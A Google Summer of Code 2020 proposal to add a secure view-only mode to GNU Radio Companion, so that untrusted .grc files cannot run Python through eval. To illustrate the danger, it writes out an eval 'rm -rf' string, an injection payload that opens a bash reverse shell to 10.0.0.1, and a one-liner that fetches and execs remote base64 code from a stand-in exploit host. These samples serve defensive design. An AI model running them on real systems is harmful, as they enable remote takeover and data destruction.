Google Summer of Code 2020

GRC: View Only Mode (Secure)

Arpit Gupta

March 21, 2020

1 Introduction

GNU Radio consists of a very important component which is called the GNU Radio Companion or the GRC. The GNU Radio Companion is a graphical UI used to develop GNU Radio applications, for creating signal flow graphs and generating flow-graph source code. It is under a lot of constant development. GRC still consists of some particularly important security vulnerabilities that needs to resolved.

When a flowgraph from an untrusted source is opened in GRC, arbitrary Python code can be executed. This poses a potential security risk. For example, Python Module Block allows you to run arbitrary python code in the GNU Radio Companion and untrusted python code can be very damaging for your operating system which will be discussed further below. So, it is important to come with a solution that prevents this without interfering with the normal working of the GRC.

The security problem we need to solve is that no code should execute just because a user has opened a flowgraph that they did not write. Like any other program, once a user decides to execute the flowgraph code in the GRC, it is considered trusted, and should be allowed to do anything. Storing all the evaluated values of all parameters within a flow graph (.grc) file would allow us to open such flow graphs without compromising security. No code would be have to executed to draw the flow graph and block parameters can be viewed safely. Only if the flow graph is modified the user would have to choose to trust the flow graph thus enabling normal eval operations.

1.1 Primary features of the project

1. Implementation of persistent cache (in JSON format) to store the evaluated parameters in the same .grc file.
2. Make use of the audit API in newer python version to warn/confirm file/network operations.
3. Add some UID to flowgraph files, so that the view-only mode can be auto-enabled/disabled.

4. Limit the eval time (Future Prospect).

2 Proposed Workflow

Initially, I will be doing the groundwork by setting up the implementation of the storing the evaluated parameters in the grc file. I will be implementing a persistent cache that enable us to store the evaluated parameters in the same grc file along with normal variables. Then I will use the audit API in python to detect, identify and analyze the misuse of Python.

2.1 Implementation of the persistent cache

Persistent cache means information is stored in "permanent" memory, so data is not lost after a system restart or system crash as it would be if it is stored in cache memory. We need to implement a persistent cache that would enable us to store the normal eval operations at a time and thus would allow us to view a flowgraph without executing any python code.
The persistent cache in the grc files would be in the form of JSON format, which would enable us to get all the evaluated parameters quite easily.

2.1.1 Implementation of the persistent cache

As we know that malicious code can be run inside a grc file when edited or when you execute the generated python or C++, it is required to store all the eval results generated from the grc file into a persistent cache to view the flowgraph generated from that file.
Persistent cache would be JSON as it's value. Proposed cache is as follows: (Terminology for keys almost same as in grc files)

```
{
    "persistent_cache": {
        "metadata": {
            "user_hash": "39423623266713409425903212708 3",
            "content_hash": "787705264478809327430091530147"
        },
        "calculated_evals": {
            "parameters": [
                    "header block",
                    "Not titled yet",
                    "python",
                    "[GRC Hier Blocks]",
                ],
            "blocks": {
                "block_1": [
                    "analog_sig_source_x_0",
                    "complex",
                    "samp_rate",
                    "analog.GR_COS_WAVE",
                    1000,
                ],
```

```
                "block_2": [
                    "blocks_null_sink_0",
                    "complex",
                    "[[0,],]",
                ],
            }
        }
    }
}
```

The keys `user_hash` and `content_hash` will be discussed in section 2.4

2.2 Why is `eval` dangerous?

Certain Python functions should not be used or should be used only with caution. Python's documentation typically includes a note about the dangers.
Why do we require to add persistent cache to the eval functions?
`eval()` take strings and turn them into executable code. They can be useful, especially if you are the one who controls the input. Suppose you're evaluating a string that looks like this:
"eval("__import__('os').system('rm -rf')",)". It could erase all your files.
Since eval() can be used to execute arbitrary code on the system, it should never ever ever be used on any type of unsanitized user input.
Example in case of user input is:

```
def addition(a, b):
    return eval("%s + %s" % (a, b))


result = addition(request.json['a'], request.json['b'])
print("The result is %d." % result)
```

When the above code is provided with an input as shown:

```
{"a":"__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080
    0>&1')#", "b":"2"}
```

This would cause the application to call os.system() and spawn a reverse shell back to the IP 10.0.0.1 on port 8080.

2.3 Use of the Audit API in python to warn/confirm network operations

Python provides access to a wide range of low-level functionality on many common operating systems. While this is incredibly useful for "write-once, run-anywhere" scripting, it also makes monitoring of software written in Python difficult. Because Python uses native system APIs directly, existing monitoring tools either suffer from limited context or auditing bypass.
Auditing bypass can occur when the typical system tool used for an action would ordinarily report its use, but accessing the APIs via Python do not trigger this. For

example, invoking "curl" to make HTTP requests may be specifically monitored in an audited system, but Python's "urlretrieve" function is not.

```
python -c "import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen('http://my-exploit/py.b64')
    ).decode())"
```

This command currently bypasses most anti-malware scanners that rely on recognizable code being read through a network connection or being written to disk. It also bypasses protections such as file access control lists or permissions (no file access occurs), approved application lists (assuming Python has been approved for other uses), and automated auditing or logging (assuming Python is allowed to access the internet or access another machine on the local network from which to obtain its payload).
To overcome this we need to create an audit API to monitor/warn such operations on runtime, which would allow us to stop such functions from being executed. Python 3.8+ provides us with a solution. So, even after the `eval` operations are called, we can monitor if any network calls using audit hooks. The implementation is as shown:

```
import sys
import stats

suspicious_modules = ['socket']


def audit_hook(event, args):
    if event in ['urllib.Request', 'make_request']:
        print(f"Network {event=} {args=}")
    elif event in ['import'] and args[0] in suspicious_modules:
        print(f"Suspicious import action {event=} module={args[0]}")

sys.addaudithook(audit_hook)
```

This would print out any system or network calls which otherwise would be difficult to catch.

2.4 Identifying the foreign grc files

We have discussed almost all the possible scenarios to tackle with foreign grc files, but we still need to figure out which of the files are to be shown view only in the GNU Radio Companion and which of them can be directly edited.
One way can be to initially consider all the grc files to be view only when initially open in the GRC, and then ask for user for permission whether to trust the file or not. But that would be really become frustrating for a user to always trust a flowgraph before the user can proceed.
The two proposed ways follow the same principle used by the jupyter notebook which successfully ensures which of the .ipynb files to trust and which not to.

2.4.1 Two ways to check for untrusted grc files

- This could be done with some uid for each trusted flowgraph file. for example, you store a list of filepath to trusted flowgraphs along with a hash of their content. If a flow-graph is opened that is on that list and has a matching content hash, no view-only mode is used. If a flowgraph is trusted by the user, the hash of the content would then be stored, which would enable the GNU Radio companion to trust the grc file.
- When a flowgraph is opened by a user, the server computes a signature with the user's key, and compares it with the signature stored in the grc file. If the signature matches, normal operations can be performed, otherwise the file can be seen in view only mode unless trusted.

A grc file on disk is either trusted or not in its entirety.

We could also explicitly trust the grc file which could done with a command-line such as:
`gnuradio-companion trust /path/to/flowgraph_file.grc`

3 Timeline

I will utilize the period of community bonding to familiarize myself with the GNU Radio community. I will also make sure to gain a deeper insight into the source code. This will enable me to contribute more efficiently to the community. Moreover, I will figure out ways to implement the persistent cache in the most possible efficient way by using efficient python libraries for my purpose, squashing all (if not most) the bugs before completion. Additionally, I will define the minute details of the project so that I face minimal difficulty in the coding period.

The necessary documentation will be done in parallel with the development. There is a 13-week long coding period. I have my holidays in the months of May, June, and July, so I'll work full time during this period, i.e., around 35-40 hours a week while in August I'll work for around 30-35 hours a week. I have made my deliverables accordingly on a weekly basis.

The expected timeline for my project is given below:

Timeline of the project

April 27 - May 18	Define the minute details of the project along with the community bonding period.
May 18 - May 25	Go through the GRC project, understand the use of the eval functions.
May 25 - June 1	Initialize the implementation of persistent cache in the grc file, abstract its implementation, define all the helper functions required.
June 1 - June 8	Integrate the use of the persistent cache with the eval operations.
June 8 - June 15	Integrate the use of the persistent cache with the eval operations.
June 15 - June 22	Submit the code for Phase 1 evaluation and almost finish with the implementation of the cache.
June 22 - June 29	Design and implement a view only mode to safely view the block parameters.
June 29 - July 6	Understand the requirement to add audit hooks for various evals and start implementing them.
July 6 - July 13	Complete the addition of audit API, add logging to unauthorized network calls in eval.
July 13 - July 20	Submit the code for Phase 2 evaluation and implement a solution to identify foreign flowgraphs.
July 20 - July 27	Start working on the identification of foreign flowgraph file part.
July 27 - Aug 3	Ensure a smooth working of the complete project, proper functioning of enabling/disabling view only GRC mode.
Aug 3 - Aug 10	Thoroughly test the view only mode, buffer time for completing the remaining tasks and start working on the extended part (or if found out later).
Aug 10 - Aug 17	Complete the project and submit the final report.

4 Deliverables of GSoC 2020

The deliverables of the GSoC project are as follows:

- Implement the persistent cache to store all the eval operations.
- Design and implement a view only grc mode to safely view flowgraphs.
- Add audit API to monitor any unknown network or os operations, also add a way to identify the foriegn grc files.
- Implement the complete project with thorough testing.

4.1 Milestones

- Phase-1: Implement the persistent cache, along with integrating it with the eval operations.
- Phase-2: Design a complete view only mode for the block parameters, implement it, add audit hooks to listen for various network or os operations.
- Final Evaluation: Completion of the view only mode, add a way to identify foreign grc files from the trusted ones, thoroughly test the project too.

4.2 Review/Merge Cycle

The code can be reviewed as per the proposed timeline whereas it can be merged according to the timeline stated below:

- June 15: Merge code for persistent cache.
- July 13: Merge code for the view only for grc files integrated completely with eval functions in the GNU Radio Companion.
- August 10: Merge the entire project along with the audit hooks and extended work (if possible).

4.3 Testing

The code will be thoroughly tested locally at almost every step of the whole architecture, test scripts will also be written to ensure all the third-party packages are correctly installed. The code will also be compatible with standard pylint rules.

5 Acknowledgment

I have thoroughly gone through the GSoC StudentInfo page and GSoC Manifest page. I hereby assure that I will abide by the rules and regulations. I also accept the three strikes rule and the details mentioned.
I also assure that I will communicate with the assigned mentor regularly, maintain thorough transparency and keep my work up to date.

6 License

The entire code during the coding period will be transparent, i.e., available on GitHub. The code submitted will be GPLv3 licensed.

7 Personal Details and Experience

I am a third year undergraduate at Indian Institute of Technology Roorkee. My areas of interest are software development, competitive programming, and deep learning. I am proficient in Django, Python, C++, Java, JavaScript, and PHP. I am familiar with git environment as I work regularly on GitHub. I haven't contributed much to open source till now, but I'll really like to contribute to GNU Radio and make it as my first remarkable experience. I will not get any extra credits for the GSoC project. I am proficient in two human languages including English.
I have the experience of working closely with a team as I am an active member of Information Management Group at IIT Roorkee, a bunch of passionate enthusiasts who manage the institute main website, internet and intranet activities of the university and the placement portal. My major project as a part of the group is Placement and Internship online, an application that digitizes the entire placement process from creating the official IIT Roorkee resume to knowing the results. The project has been implemented on Django, Django-Rest (python based framework). I have also worked on Lectures and Tutorials Portal (Lectut), an intranet-based study portal, used by unique 4k campus students and faculty every month with an aim of assisting them to achieve their academic goal, also implemented on Django, Django-Rest.
`Cyberspectrum is the best spectrum`.

I started off with GNU Radio in January 2019. I successfully participated in GSoC'19 with GNU Radio, building a Block Header Parsing Tool. More details regarding my project can be found here. The complete code can be found here.
I have also made the following contributions to the code base:

1. Pull request #2339: gr_modtool: remove unused code in rename.py
2. Pull request #2338: Update README.md to provide instructions for building GR with support of python3.x
3. Pull request #2350: grc: fix for GRC's block hotkeys
4. Pull request #2352: grc: parse prefix for numeric values
5. Pull request #2373: grc: Fix save as for existing grc file
6. Pull request #2330: Add C++ generation support to gr-digital
7. Pull request #2343: Add C++ generation support to gr-filter
8. Pull request #2361: gr_modtool: Fix for parameter wrap in cli inputs
9. Pull request #2398: grc: Fix color for input boxes in parameter widget according to dark-gtk themes
10. Pull request #2412: GRC: Fix for GRC crash in case of flowgraph error

11. Pull request #2418: gr_modtool: fix for .yml file make template
12. Pull request #2423: gr_modtool: fix for yaml generator
13. Pull request #2431: modtool: fix modtool tests for missing pylint dependency

I will always be available on email or Google Hangouts for any kind of discussion or query.
I am highly interested to contribute to GNU Radio after the GSoC period. After the period, I'll mainly focus on extending the utility of this tool to different types of files, with the tool deciding how to manage each data file type by its own. I'll always be available for fixing the bugs that come up in the block header file tool.

Here is the link to my CV.

7.1 Other Details

Address	:	Roorkee, Uttarakhand, India
Email	:	guptarpit1997@gmail.com
Github	:	https://github.com/aru31/
LinkedIn	:	https://www.linkedin.com/in/aru31/
Codechef	:	https://www.codechef.com/users/aru31121997

8 Conclusion

The view only mode will be a great addition to the GNU Radio. Keeping in mind the importance of the GRC, it would remove a very dangerous security vulnerability from the GNU Radio Companion. Since foreign grc files are used a lot to view anyone's flowgraphs, this project certainly holds a great value.